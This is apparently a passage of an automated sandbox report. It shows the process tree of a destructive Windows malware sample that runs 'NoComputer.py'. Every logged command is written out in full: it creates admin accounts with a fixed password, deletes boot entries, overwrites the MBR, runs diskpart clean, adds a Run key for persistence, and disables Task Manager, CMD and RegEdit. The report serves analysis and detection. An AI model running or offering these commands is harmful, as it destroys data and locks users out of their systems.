      4⤵
      PID:5044
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators death8 /add
        5⤵
        
        PID:4468
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic useraccount where name=\"death8\" set PasswordExpires=False"
    3⤵
    PID:4684
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic useraccount where name=\"death8\" set PasswordExpires=False
      4⤵
      PID:4740
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "net user death9 P@ssw0rd!123 /add /active:yes"
    3⤵
    PID:5016
  - - C:\Windows\system32\net.exe
      net user death9 P@ssw0rd!123 /add /active:yes
      4⤵
      Creates a new local user account
      PID:4832
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user death9 P@ssw0rd!123 /add /active:yes
        5⤵
        Creates a new local user account
        
        PID:2636
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "net localgroup Administrators death9 /add"
    3⤵
    PID:820
  - - C:\Windows\system32\net.exe
      net localgroup Administrators death9 /add
      4⤵
      PID:2364
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators death9 /add
        5⤵
        
        PID:4272
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic useraccount where name=\"death9\" set PasswordExpires=False"
    3⤵
    PID:2624
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic useraccount where name=\"death9\" set PasswordExpires=False
      4⤵
      PID:1148
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "net user death10 P@ssw0rd!123 /add /active:yes"
    3⤵
    PID:1428
  - - C:\Windows\system32\net.exe
      net user death10 P@ssw0rd!123 /add /active:yes
      4⤵
      Creates a new local user account
      PID:3224
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user death10 P@ssw0rd!123 /add /active:yes
        5⤵
        Creates a new local user account
        
        PID:2040
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "net localgroup Administrators death10 /add"
    3⤵
    PID:2832
  - - C:\Windows\system32\net.exe
      net localgroup Administrators death10 /add
      4⤵
      PID:3324
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators death10 /add
        5⤵
        
        PID:2220
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic useraccount where name=\"death10\" set PasswordExpires=False"
    3⤵
    PID:2212
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic useraccount where name=\"death10\" set PasswordExpires=False
      4⤵
      PID:1332
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "reg add HKCU\Software\Microsoft\Windows\DWM /v ColorizationColor /t REG_DWORD /d 0x000000FF /f"
    3⤵
    PID:4736
  - - C:\Windows\system32\reg.exe
      reg add HKCU\Software\Microsoft\Windows\DWM /v ColorizationColor /t REG_DWORD /d 0x000000FF /f
      4⤵
      Modifies registry key
      PID:2668
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "reg add HKCU\Software\Microsoft\Windows\DWM /v ColorizationAfterglow /t REG_DWORD /d 0x000000FF /f"
    3⤵
    PID:464
  - - C:\Windows\system32\reg.exe
      reg add HKCU\Software\Microsoft\Windows\DWM /v ColorizationAfterglow /t REG_DWORD /d 0x000000FF /f
      4⤵
      Modifies registry key
      PID:984
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "reg add HKCU\Software\Microsoft\Windows\DWM /v ColorizationColorBalance /t REG_DWORD /d 100 /f"
    3⤵
    PID:924
  - - C:\Windows\system32\reg.exe
      reg add HKCU\Software\Microsoft\Windows\DWM /v ColorizationColorBalance /t REG_DWORD /d 100 /f
      4⤵
      Modifies registry key
      PID:1080
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "reg add "HKCU\Control Panel\Colors" /v Background /t REG_SZ /d "255 0 0" /f"
    3⤵
    PID:400
  - - C:\Windows\system32\reg.exe
      reg add "HKCU\Control Panel\Colors" /v Background /t REG_SZ /d "255 0 0" /f
      4⤵
      PID:2888
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "reg add "HKCU\Control Panel\Colors" /v ActiveBorder /t REG_SZ /d "255 0 0" /f"
    3⤵
    PID:1216
  - - C:\Windows\system32\reg.exe
      reg add "HKCU\Control Panel\Colors" /v ActiveBorder /t REG_SZ /d "255 0 0" /f
      4⤵
      PID:2384
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "rundll32.exe user32.dll,UpdatePerUserSystemParameters"
    3⤵
    PID:2140
  - - C:\Windows\system32\rundll32.exe
      rundll32.exe user32.dll,UpdatePerUserSystemParameters
      4⤵
      PID:4516
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "bcdedit /delete {current} /f"
    3⤵
    PID:4216
  - - C:\Windows\system32\bcdedit.exe
      bcdedit /delete {current} /f
      4⤵
      Modifies boot configuration data using bcdedit
      PID:2420
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "bootsect /nt60 sys /mbr"
    3⤵
    PID:3500
  - - C:\Windows\system32\bootsect.exe
      bootsect /nt60 sys /mbr
      4⤵
      PID:692
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v Malware /t REG_SZ /d "\"C:\Users\Admin\AppData\Local\Temp\74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe\" \"C:\Users\Admin\AppData\Local\Temp\ONEFIL~1\NoComputer.py\"" /f"
    3⤵
    PID:5108
  - - C:\Windows\system32\reg.exe
      reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v Malware /t REG_SZ /d "\"C:\Users\Admin\AppData\Local\Temp\74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe\" \"C:\Users\Admin\AppData\Local\Temp\ONEFIL~1\NoComputer.py\"" /f
      4⤵
      Adds Run key to start application
      Modifies registry key
      PID:3128
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "diskpart /s clean.txt"
    3⤵
    PID:3820
  - - C:\Windows\system32\diskpart.exe
      diskpart /s clean.txt
      4⤵
      PID:1588
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f"
    3⤵
    PID:5580
  - - C:\Windows\system32\reg.exe
      reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f
      4⤵
      Modifies registry key
      PID:5892
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoClose /t REG_DWORD /d 1 /f"
    3⤵
    PID:5996
  - - C:\Windows\system32\reg.exe
      reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoClose /t REG_DWORD /d 1 /f
      4⤵
      Modifies registry key
      PID:5380
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoClose /t REG_DWORD /d 1 /f"
    3⤵
    PID:764
  - - C:\Windows\system32\reg.exe
      reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoClose /t REG_DWORD /d 1 /f
      4⤵
      Modifies registry key
      PID:5828
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoWinKeys /t REG_DWORD /d 1 /f"
    3⤵
    PID:4656
  - - C:\Windows\system32\reg.exe
      reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoWinKeys /t REG_DWORD /d 1 /f
      4⤵
      Modifies registry key
      PID:5144
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoViewContextMenu /t REG_DWORD /d 1 /f"
    3⤵
    PID:4968
  - - C:\Windows\system32\reg.exe
      reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoViewContextMenu /t REG_DWORD /d 1 /f
      4⤵
      Modifies registry key
      PID:2612
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "reg add "HKCU\Control Panel\Mouse" /v SwapMouseButtons /t REG_SZ /d 1 /f"
    3⤵
    PID:1884
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:1228
  - - C:\Windows\system32\reg.exe
      reg add "HKCU\Control Panel\Mouse" /v SwapMouseButtons /t REG_SZ /d 1 /f
      4⤵
      PID:2156
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "reg add HKCU\Software\Policies\Microsoft\Windows\System /v DisableCMD /t REG_DWORD /d 2 /f"
    3⤵
    PID:6036
  - - C:\Windows\system32\reg.exe
      reg add HKCU\Software\Policies\Microsoft\Windows\System /v DisableCMD /t REG_DWORD /d 2 /f
      4⤵
      Modifies registry key
      PID:2612
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "reg add HKLM\Software\Policies\Microsoft\Windows\System /v DisableCMD /t REG_DWORD /d 2 /f"
    3⤵
    PID:5932
  - - C:\Windows\system32\reg.exe
      reg add HKLM\Software\Policies\Microsoft\Windows\System /v DisableCMD /t REG_DWORD /d 2 /f
      4⤵
      Modifies registry key
      PID:5880

C:\Windows\System32\vdsldr.exe
C:\Windows\System32\vdsldr.exe -Embedding
1⤵
PID:1072

C:\Windows\System32\vds.exe
C:\Windows\System32\vds.exe
1⤵
- Checks SCSI registry key(s)
PID:4272

C:\Users\Admin\AppData\Local\Temp\74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe
"C:\Users\Admin\AppData\Local\Temp\74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe" "C:\Users\Admin\AppData\Local\Temp\ONEFIL~1\NoComputer.py"
1⤵
PID:3992
- C:\Users\Admin\AppData\Local\Temp\74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe
  C:\Users\Admin\AppData\Local\Temp\74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe C:\Users\Admin\AppData\Local\Temp\ONEFIL~1\NoComputer.py
  2⤵
  - Drops startup file
  - Loads dropped DLL
  - Drops file in System32 directory
  - Sets desktop wallpaper using registry
  - Suspicious use of SetWindowsHookEx
  PID:3376
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "net user death1 P@ssw0rd!123 /add /active:yes"
    3⤵
    PID:1096
  - - C:\Windows\system32\net.exe
      net user death1 P@ssw0rd!123 /add /active:yes
      4⤵
      Creates a new local user account
      PID:1248
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user death1 P@ssw0rd!123 /add /active:yes
        5⤵
        Creates a new local user account
        
        PID:4820
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "reg add HKCU\Software\Microsoft\Windows\DWM /v ColorizationColor /t REG_DWORD /d 0x000000FF /f"
    3⤵
    PID:3316
  - - C:\Windows\system32\reg.exe
      reg add HKCU\Software\Microsoft\Windows\DWM /v ColorizationColor /t REG_DWORD /d 0x000000FF /f
      4⤵
      Modifies registry key
      PID:3088
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "reg add HKCU\Software\Microsoft\Windows\DWM /v ColorizationAfterglow /t REG_DWORD /d 0x000000FF /f"
    3⤵
    PID:628
  - - C:\Windows\system32\reg.exe
      reg add HKCU\Software\Microsoft\Windows\DWM /v ColorizationAfterglow /t REG_DWORD /d 0x000000FF /f
      4⤵
      Modifies registry key
      PID:2024
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "reg add HKCU\Software\Microsoft\Windows\DWM /v ColorizationColorBalance /t REG_DWORD /d 100 /f"
    3⤵
    PID:1100
  - - C:\Windows\system32\reg.exe
      reg add HKCU\Software\Microsoft\Windows\DWM /v ColorizationColorBalance /t REG_DWORD /d 100 /f
      4⤵
      Modifies registry key
      PID:4836
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "reg add "HKCU\Control Panel\Colors" /v Background /t REG_SZ /d "255 0 0" /f"
    3⤵
    PID:4808
  - - C:\Windows\system32\reg.exe
      reg add "HKCU\Control Panel\Colors" /v Background /t REG_SZ /d "255 0 0" /f
      4⤵
      PID:3200
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "reg add "HKCU\Control Panel\Colors" /v ActiveBorder /t REG_SZ /d "255 0 0" /f"
    3⤵
    PID:3764
  - - C:\Windows\system32\reg.exe
      reg add "HKCU\Control Panel\Colors" /v ActiveBorder /t REG_SZ /d "255 0 0" /f
      4⤵
      PID:3936
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "rundll32.exe user32.dll,UpdatePerUserSystemParameters"
    3⤵
    PID:1456
  - - C:\Windows\system32\rundll32.exe
      rundll32.exe user32.dll,UpdatePerUserSystemParameters
      4⤵
      PID:2420
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "bcdedit /delete {current} /f"
    3⤵
    PID:4116
  - - C:\Windows\system32\bcdedit.exe
      bcdedit /delete {current} /f
      4⤵
      Modifies boot configuration data using bcdedit
      PID:1892
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v Malware /t REG_SZ /d "\"C:\Users\Admin\AppData\Local\Temp\74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe\" \"C:\Users\Admin\AppData\Local\Temp\ONEFIL~2\NoComputer.py\"" /f"
    3⤵
    PID:4468
  - - C:\Windows\system32\reg.exe
      reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v Malware /t REG_SZ /d "\"C:\Users\Admin\AppData\Local\Temp\74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe\" \"C:\Users\Admin\AppData\Local\Temp\ONEFIL~2\NoComputer.py\"" /f
      4⤵
      Adds Run key to start application
      Modifies registry key
      PID:2284
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "diskpart /s clean.txt"
    3⤵
    PID:5056
  - - C:\Windows\system32\diskpart.exe
      diskpart /s clean.txt
      4⤵
      PID:4320
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f"
    3⤵
    PID:5572
  - - C:\Windows\system32\reg.exe
      reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f
      4⤵
      Modifies registry key
      PID:5860
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoClose /t REG_DWORD /d 1 /f"
    3⤵
    PID:6008
  - - C:\Windows\system32\reg.exe
      reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoClose /t REG_DWORD /d 1 /f
      4⤵
      Modifies registry key
      PID:5408
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoClose /t REG_DWORD /d 1 /f"
    3⤵
    PID:4592
  - - C:\Windows\system32\reg.exe
      reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoClose /t REG_DWORD /d 1 /f
      4⤵
      Modifies registry key
      PID:5764
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoWinKeys /t REG_DWORD /d 1 /f"
    3⤵
    PID:5716
  - - C:\Windows\system32\reg.exe
      reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoWinKeys /t REG_DWORD /d 1 /f
      4⤵
      Modifies registry key
      PID:5152
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoViewContextMenu /t REG_DWORD /d 1 /f"
    3⤵
    PID:5976
  - - C:\Windows\system32\reg.exe
      reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoViewContextMenu /t REG_DWORD /d 1 /f
      4⤵
      Modifies registry key
      PID:2796
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "reg add "HKCU\Control Panel\Mouse" /v SwapMouseButtons /t REG_SZ /d 1 /f"
    3⤵
    PID:2640
  - - C:\Windows\system32\reg.exe
      reg add "HKCU\Control Panel\Mouse" /v SwapMouseButtons /t REG_SZ /d 1 /f
      4⤵
      PID:4320
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "reg add HKCU\Software\Policies\Microsoft\Windows\System /v DisableCMD /t REG_DWORD /d 2 /f"
    3⤵
    PID:5760
  - - C:\Windows\system32\reg.exe
      reg add HKCU\Software\Policies\Microsoft\Windows\System /v DisableCMD /t REG_DWORD /d 2 /f
      4⤵
      Modifies registry key
      PID:6068
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "reg add HKLM\Software\Policies\Microsoft\Windows\System /v DisableCMD /t REG_DWORD /d 2 /f"
    3⤵
    PID:5924
  - - C:\Windows\system32\reg.exe
      reg add HKLM\Software\Policies\Microsoft\Windows\System /v DisableCMD /t REG_DWORD /d 2 /f
      4⤵
      Modifies registry key
      PID:2940
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableRegistryTools /t REG_DWORD /d 1 /f"
    3⤵
    PID:5040
  - - C:\Windows\system32\reg.exe
      reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableRegistryTools /t REG_DWORD /d 1 /f
      4⤵
      Modifies registry key
      PID:5844

C:\Users\Admin\AppData\Local\Temp\74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe
"C:\Users\Admin\AppData\Local\Temp\74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe" "C:\Users\Admin\AppData\Local\Temp\ONEFIL~2\NoComputer.py"
1⤵
PID:4040
- C:\Users\Admin\AppData\Local\Temp\74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe
  C:\Users\Admin\AppData\Local\Temp\74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe C:\Users\Admin\AppData\Local\Temp\ONEFIL~2\NoComputer.py
  2⤵
  - Drops startup file
  - Loads dropped DLL
  - Drops file in System32 directory
  - Sets desktop wallpaper using registry
  - Suspicious use of SetWindowsHookEx
  PID:3464
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "net user death1 P@ssw0rd!123 /add /active:yes"
    3⤵
    PID:2024
  - - C:\Windows\system32\net.exe
      net user death1 P@ssw0rd!123 /add /active:yes
      4⤵
      Creates a new local user account
      PID:4836
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user death1 P@ssw0rd!123 /add /active:yes
        5⤵
        Creates a new local user account
        
        PID:2136
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "reg add HKCU\Software\Microsoft\Windows\DWM /v ColorizationColor /t REG_DWORD /d 0x000000FF /f"
    3⤵
    PID:1860
  - - C:\Windows\system32\reg.exe
      reg add HKCU\Software\Microsoft\Windows\DWM /v ColorizationColor /t REG_DWORD /d 0x000000FF /f
      4⤵
      Modifies registry key
      PID:4840
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "reg add HKCU\Software\Microsoft\Windows\DWM /v ColorizationAfterglow /t REG_DWORD /d 0x000000FF /f"
    3⤵
    PID:2132
  - - C:\Windows\system32\reg.exe
      reg add HKCU\Software\Microsoft\Windows\DWM /v ColorizationAfterglow /t REG_DWORD /d 0x000000FF /f
      4⤵
      Modifies registry key
      PID:3228
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "reg add HKCU\Software\Microsoft\Windows\DWM /v ColorizationColorBalance /t REG_DWORD /d 100 /f"
    3⤵
    PID:3792
  - - C:\Windows\system32\reg.exe
      reg add HKCU\Software\Microsoft\Windows\DWM /v ColorizationColorBalance /t REG_DWORD /d 100 /f
      4⤵
      Modifies registry key
      PID:2556
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "reg add "HKCU\Control Panel\Colors" /v Background /t REG_SZ /d "255 0 0" /f"
    3⤵
    PID:3824
  - - C:\Windows\system32\reg.exe
      reg add "HKCU\Control Panel\Colors" /v Background /t REG_SZ /d "255 0 0" /f
      4⤵
      PID:1884
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "reg add "HKCU\Control Panel\Colors" /v ActiveBorder /t REG_SZ /d "255 0 0" /f"
    3⤵
    PID:3600
  - - C:\Windows\system32\reg.exe
      reg add "HKCU\Control Panel\Colors" /v ActiveBorder /t REG_SZ /d "255 0 0" /f
      4⤵
      PID:4776
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "rundll32.exe user32.dll,UpdatePerUserSystemParameters"
    3⤵
    PID:3128
  - - C:\Windows\system32\rundll32.exe
      rundll32.exe user32.dll,UpdatePerUserSystemParameters
      4⤵
      PID:3024
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "bcdedit /delete {current} /f"
    3⤵
    PID:724
  - - C:\Windows\system32\bcdedit.exe
      bcdedit /delete {current} /f
      4⤵
      Modifies boot configuration data using bcdedit
      PID:432
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v Malware /t REG_SZ /d "\"C:\Users\Admin\AppData\Local\Temp\74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe\" \"C:\Users\Admin\AppData\Local\Temp\ONEFIL~3\NoComputer.py\"" /f"
    3⤵
    PID:3088
  - - C:\Windows\system32\reg.exe
      reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v Malware /t REG_SZ /d "\"C:\Users\Admin\AppData\Local\Temp\74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe\" \"C:\Users\Admin\AppData\Local\Temp\ONEFIL~3\NoComputer.py\"" /f
      4⤵
      Adds Run key to start application
      Modifies registry key
      PID:2136
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "diskpart /s clean.txt"
    3⤵
    PID:832
  - - C:\Windows\system32\diskpart.exe
      diskpart /s clean.txt
      4⤵
      PID:1984
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f"
    3⤵
    PID:5684
  - - C:\Windows\system32\reg.exe
      reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f
      4⤵
      Modifies registry key
      PID:5836
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoClose /t REG_DWORD /d 1 /f"
    3⤵
    PID:5852
  - - C:\Windows\system32\reg.exe
      reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoClose /t REG_DWORD /d 1 /f
      4⤵
      Modifies registry key
      PID:5124
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoClose /t REG_DWORD /d 1 /f"
    3⤵
    PID:5340
  - - C:\Windows\system32\reg.exe
      reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoClose /t REG_DWORD /d 1 /f
      4⤵
      Modifies registry key
      PID:1064
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoWinKeys /t REG_DWORD /d 1 /f"
    3⤵
    PID:2636
  - - C:\Windows\system32\reg.exe
      reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoWinKeys /t REG_DWORD /d 1 /f
      4⤵
      Modifies registry key
      PID:5708
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoViewContextMenu /t REG_DWORD /d 1 /f"
    3⤵
    PID:5864
  - - C:\Windows\system32\reg.exe
      reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoViewContextMenu /t REG_DWORD /d 1 /f
      4⤵
      Modifies registry key
      PID:1080
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "reg add "HKCU\Control Panel\Mouse" /v SwapMouseButtons /t REG_SZ /d 1 /f"
    3⤵
    PID:5876
  - - C:\Windows\system32\reg.exe
      reg add "HKCU\Control Panel\Mouse" /v SwapMouseButtons /t REG_SZ /d 1 /f
      4⤵
      PID:1964
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "reg add HKCU\Software\Policies\Microsoft\Windows\System /v DisableCMD /t REG_DWORD /d 2 /f"
    3⤵
    PID:2420
  - - C:\Windows\system32\reg.exe
      reg add HKCU\Software\Policies\Microsoft\Windows\System /v DisableCMD /t REG_DWORD /d 2 /f
      4⤵
      Modifies registry key
      PID:5612
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "reg add HKLM\Software\Policies\Microsoft\Windows\System /v DisableCMD /t REG_DWORD /d 2 /f"
    3⤵
    PID:4480
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:5152
  - - C:\Windows\system32\reg.exe
      reg add HKLM\Software\Policies\Microsoft\Windows\System /v DisableCMD /t REG_DWORD /d 2 /f
      4⤵
      Modifies registry key
      PID:1064
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableRegistryTools /t REG_DWORD /d 1 /f"
    3⤵
    PID:1256
  - - C:\Windows\system32\reg.exe
      reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableRegistryTools /t REG_DWORD /d 1 /f
      4⤵
      Disables RegEdit via registry modification
      Modifies registry key
      PID:5892
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableRegistryTools /t REG_DWORD /d 1 /f"
    3⤵
    PID:3440
  - - C:\Windows\system32\reg.exe
      reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableRegistryTools /t REG_DWORD /d 1 /f
      4⤵
      Modifies registry key
      PID:4504

C:\Users\Admin\AppData\Local\Temp\74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe
"C:\Users\Admin\AppData\Local\Temp\74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe" "C:\Users\Admin\AppData\Local\Temp\ONEFIL~3\NoComputer.py"
1⤵
PID:4516
- C:\Users\Admin\AppData\Local\Temp\74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe
  C:\Users\Admin\AppData\Local\Temp\74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe C:\Users\Admin\AppData\Local\Temp\ONEFIL~3\NoComputer.py
  2⤵
  - Drops startup file
  - Loads dropped DLL
  - Drops file in System32 directory
  - Sets desktop wallpaper using registry
  - Suspicious use of SetWindowsHookEx
  PID:2676
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "net user death1 P@ssw0rd!123 /add /active:yes"
    3⤵
    PID:3052
  - - C:\Windows\system32\net.exe
      net user death1 P@ssw0rd!123 /add /active:yes
      4⤵
      Creates a new local user account
      PID:3724
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user death1 P@ssw0rd!123 /add /active:yes
        5⤵
        Creates a new local user account
        
        PID:784
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "reg add HKCU\Software\Microsoft\Windows\DWM /v ColorizationColor /t REG_DWORD /d 0x000000FF /f"
    3⤵
    PID:2756
  - - C:\Windows\system32\reg.exe
